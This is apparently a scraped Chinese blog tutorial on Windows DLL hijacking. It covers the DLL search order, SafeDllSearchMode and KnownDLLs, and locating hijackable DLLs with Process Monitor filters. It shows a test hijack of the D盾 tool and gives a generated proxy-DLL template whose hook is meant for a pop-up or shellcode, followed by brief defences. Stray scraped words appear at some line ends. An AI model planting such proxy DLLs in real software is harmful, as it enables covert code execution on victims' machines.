DLL劫持學習及復現

0x01 dll簡介

在Windows系統中,爲了節省內存和實現代碼重用,微軟在Windows操做系統中實現了一種共享函數庫的方式。這就是DLL(Dynamic Link Library),即動態連接庫,這種庫包含了可由多個程序同時使用的代碼和數據。
每一個DLL都有一個入口函數(DLLMain),系統在特定環境下會調用DLLMain。在下面的事件發生時就會調用dll的入口函數:html

  • 1.進程裝載DLL。
  • 2.進程卸載DLL。
  • 3.DLL在被裝載以後建立了新線程。
  • 4.DLL在被裝載以後一個線程被終止了。
    另外,每一個DLL文件中都包含有一個導出函數表也叫輸出表(存在於PE的.edata節中)。使用一些PE文件查看工具如LoadPE,就能夠查看導出函數的符號名即函數名稱和函數在導出函數表中的標識號。
    應用程序導入函數與DLL文件中的導出函數進行連接有兩種方式:隱式連接(load-time dynamic linking)也叫靜態調用和顯式連接(run-time dynamic linking)也叫動態調用。隱式連接方式通常用於開發和調試,而顯式連接方式就是咱們常見的使用LoadLibary或者LoadLibraryEx函數(注:涉及到模塊加載的函數有不少)來加載DLL去調用相應的導出函數。調用LoadLibrary或者LoadLibraryEx函數時可使用DLL的相對路徑也可使用絕對路徑,

dll路徑搜索規則

可是不少狀況下,開發人員都是使用了相對路徑來進行DLL的加載。那麼,在這種狀況下,Windows系統會按照特定的順序去搜索一些目錄,來肯定DLL的完整路徑。關於動態連接庫的搜索順序的更多詳細資料請參閱MSDN。根據MSDN文檔的約定,在使用了DLL的相對路徑
調用LoadLibrary函數時,系統會依次從下面幾個位置去查找所須要調用的DLL文件。ios

  • 1.程序所在目錄。
  • 2.加載 DLL 時所在的當前目錄。
  • 3.系統目錄即 SYSTEM32 目錄。
  • 4.16位系統目錄即 SYSTEM 目錄。
  • 5.Windows目錄。
  • 6.PATH環境變量中列出的目錄
    微軟爲了防止DLL劫持漏洞的產生,在XP SP2以後,添加了一個SafeDllSearchMode的註冊表屬性。註冊表路徑以下:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
    當SafeDllSearchMode的值設置爲1,即安全DLL搜索模式開啓時,查找DLL的目錄順序以下:
  • 1.程序所在目錄
  • 2.系統目錄即 SYSTEM32 目錄。
  • 3.16位系統目錄即 SYSTEM 目錄。
  • 4.Windows目錄。
  • 5.加載 DLL 時所在的當前目錄。
  • 6.PATH環境變量中列出的目錄。

在win7以上版本

微軟爲了更進一步的防護系統的DLL被劫持,將一些容易被劫持的系統DLL寫進了一個註冊表項中,那麼凡是此項下的DLL文件就會被禁止從EXE自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用。註冊表路徑以下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
之前常用的一些劫持DLL已經被加入了KnownDLLs註冊表項,這就意味着使用諸如usp10.dll,lpk.dll,ws2_32.dll去進行DLL劫持已經失效了。
因此在win7及以上當啓用了SafeDllSearchMode搜索順序以下shell

  • 1.應用程序所在目錄。
  • 2.系統目錄SYSTEM32 目錄。
  • 3.16位系統目錄。沒有獲取該目錄路徑的函數,但會對其進行搜索。
  • 4.Windows目錄。使用GetWindowsDirectory函數獲取此目錄的路徑。
  • 5.當前目錄
  • 6.環境變量PATH中全部目錄。須要注意的是,這裏不包括App Paths註冊表項指定的應用程序路徑。
    Windows操做系統經過「DLL路徑搜索目錄順序」和「KnownDLLs註冊表項」的機制來肯定應用程序所要調用的DLL的路徑,以後,應用程序就將DLL載入了本身的內存空間,執行相應的函數功能。
    不過,微軟又莫名其妙的容許用戶在上述註冊表路徑中添加「ExcludeFromKnownDlls」註冊表項,排除一些被「KnownDLLs註冊表項」機制保護的DLL。也就是說,只要在「ExcludeFromKnownDlls」註冊表項中添加你想劫持的DLL名稱就能夠對該DLL進行劫持,不過修改以後須要從新啓動電腦才能生效。

在上述描述加載DLL的整個過程當中,DLL劫持漏洞就是在系統進行安裝「DLL路徑搜索目錄順序」搜索DLL的時候發生的。
不管安全DLL搜索模式是否開啓,系統老是首先會從應用程序(程序安裝目錄)所在目錄加載DLL,若是沒有找到就按照上面的順序依次進行搜索。那麼,利用這個特性,攻擊者就能夠僞造一個相同名稱的dll,只要這個dll不在KnownDLLs註冊表項中,咱們就能夠對該dll進行劫持測試。
鍵值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的以下
windows

0x02 尋找可劫持dll

有不少軟件能夠查看exe加載的dll
process-explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

火絨劍

Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的時候能夠設置Filter,填入過濾條件,能夠幫助排除不少無用的信息安全

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

相似下圖這種就是該dll在KnownDLLs註冊表項裏
函數

0x03 劫持測試

這裏用D盾進行劫持實驗
仍是先使用Process Explorer

能夠將這些dll文件與KnownDLLs註冊表項裏的dll進行比較,找出不在範圍內的dll進行劫持測試
固然這裏也有偷懶的方法,批量自動化測試
這裏ctrl+s能夠直接保存獲取的信息文本,而後再經過正則來提取路徑信息,再放到批量驗證工具裏

存在的話就會直接輸出結果

不存在就會顯示no

上面顯示存在兩個dll可能能夠劫持
這裏直接放一個彈計算器的dll改爲WINSTA.dll放到D盾目錄下,再運行D盾,成功彈出。
工具

0x04 進階測試

可是這種方法只劫持了加載計算機的函數,原來dll還有不少其餘的導出函數,這樣直接劫持可能會致使程序沒法正常啓動。
因此通常會製做一個相同名稱,相同導出函數表的一個「假」DLL,並將每一個導出函數轉向到「真」DLL。將這個「假」DLL放到程序的目錄下,當程序調用DLL中的函數時就會首先加載「假」DLL,在「假」DLL中攻擊者已經加入了惡意代碼,這時這些惡意代碼就會被執行,以後,「假」DLL再將DLL調用流程轉向「真」DLL,以避免影響程序的正常執行。
這裏咱們製做一個彈窗的dll來進行測試,
1.首先使用VS2019新建一個DLL項目

2.在生成的dllmain.cpp下添加測試

void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);
}

3.而後再在頭文件下的framework.h文件內添加下面代碼來編譯導出dll文件spa

#pragma once
#define WIN32_LEAN_AND_MEAN             // 從 Windows 頭文件中排除極少使用的內容
// Windows 頭文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

而後編譯生成Dll1.dll

再新建一個C++項目,填入以下代碼
操作系統

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // 定義一個函數類DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // 指定動態加載dll庫
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加載的DLL
    if (hinst != NULL) {
        // 獲取函數位置
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函數名
    }
    if (GetDllfunc != NULL) {
        //運行msg函數
        (*GetDllfunc)();
    }
}

想了解dll編寫細節的能夠看這裏
再次生成解決方案,而後將以前生成的Dll1.dll放到生成的Meg.exe同目錄下,運行Meg.exe

成功彈窗
這裏咱們用以前轉發劫持dll的思路,來試驗一下
這裏我用腳本一鍵生成用來劫持的dll

這是默認生成的

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc.//添加本身的代碼
{  
       
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            Hijack_msg = GetAddress("msg");
                     
            Hijack();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在編譯生成新的dll前要注意在代碼這一行,將Dll1改成Dll2.dll

lstrcpy(tzPath, TEXT("Dll2.dll"));

而後在代碼這一行添加彈窗或者執行shellcode

VOID Hijack()   //default open a calc.
{  
    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
       
}

而後編譯生成
再將咱們以前生成的Dll1.dll改成Dll2.dll,將兩個Dll和Meg.exe放在同一個目錄下

運行Meg.exe這時候應該會有兩個彈窗

能夠看到是先劫持DLL添加的彈窗,再彈出DLL本來的彈窗

0x05 防護

通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此註冊表項下定義一個「已知DLL名稱」,那麼凡是此項下的DLL文件就會被禁止從EXE自身目錄下調用,而只能從系統目錄,也就是system32目錄下調用。據此能夠寫一個簡單的DLL劫持免疫器 或者能夠在加載dll是檢測MD5和大小,來防護.

相關文章
相關標籤/搜索